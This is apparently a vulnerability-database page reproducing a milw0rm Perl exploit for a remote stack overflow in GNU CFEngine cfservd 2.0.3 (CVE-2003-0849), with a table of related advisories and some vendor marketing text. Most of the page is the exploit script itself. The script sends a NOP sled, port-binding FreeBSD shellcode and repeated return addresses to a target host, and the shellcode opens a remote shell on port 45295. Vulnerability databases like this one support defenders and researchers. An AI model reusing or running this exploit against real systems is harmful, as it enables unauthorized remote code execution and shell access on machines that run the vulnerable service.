GNU CFEngine 2.-2.0.3 - Remote Stack Overflow
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Cfengine cfservd ReceiveTransaction Function Remote Overflow (version check) | 20 Aug 200400:00 | – | nessus | |
| Cfengine cfservd ReceiveTransaction Function Remote Overflow (intrusive check) | 16 Oct 200300:00 | – | nessus | |
| CVE-2003-0849 | 9 Oct 200304:00 | – | cve | |
| CVE-2003-0849 | 9 Oct 200304:00 | – | cvelist | |
| CVE-2003-0849 | 9 Oct 200304:00 | – | debiancve | |
| GNU CFEngine 2.0.x - CFServD Transaction Packet Buffer Overrun (1) | 25 Sep 200300:00 | – | exploitdb | |
| GNU CFEngine 2.0.x - CFServD Transaction Packet Buffer Overrun (2) | 4 Nov 200300:00 | – | exploitdb | |
| EUVD-2003-0840 | 7 Oct 202500:30 | – | euvd | |
| CVE-2003-0849 | 17 Nov 200305:00 | – | nvd | |
| cfengine CFServD transaction packet buffer overrun vulnerability | 3 Nov 200500:00 | – | openvas |
10
#!/usr/bin/perl -s
# kokaninATdtors.net / cfengine2-2.0.3 from freebsd ports 26/sep/2003.
# forking portbind shellcode port=0xb0ef(45295) by eSDee
# bug discovered by nick cleaton, tested on FreeBSD 4.8-RELEASE
use IO::Socket;
if(!$ARGV[1])
{ print "usage: ./DSR-cfengine.pl <host> <port> (default cfengine is 5308)\n"; exit(-1); }
$host = $ARGV[0];
$port = $ARGV[1];
$nop = "\x90";
$ret = pack("l",0xbfafe3dc);
$shellcode =
"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0".
"\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02".
"\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80".
"\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57".
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89".
"\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50".
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80".
"\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56".
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd".
"\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f".
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b".
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80".
"\xeb\x9a";
$buf = $nop x 2222 . $shellcode . $ret x 500;
$socket = new IO::Socket::INET (
Proto => "tcp",
PeerAddr => $host,
PeerPort => $port,
);
die "unable to connect to $host:$port ($!)\n" unless $socket;
sleep(1); #you might have to adjust this on slow connections
print $socket $buf;
close($socket);
# milw0rm.com [2003-09-27]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.10636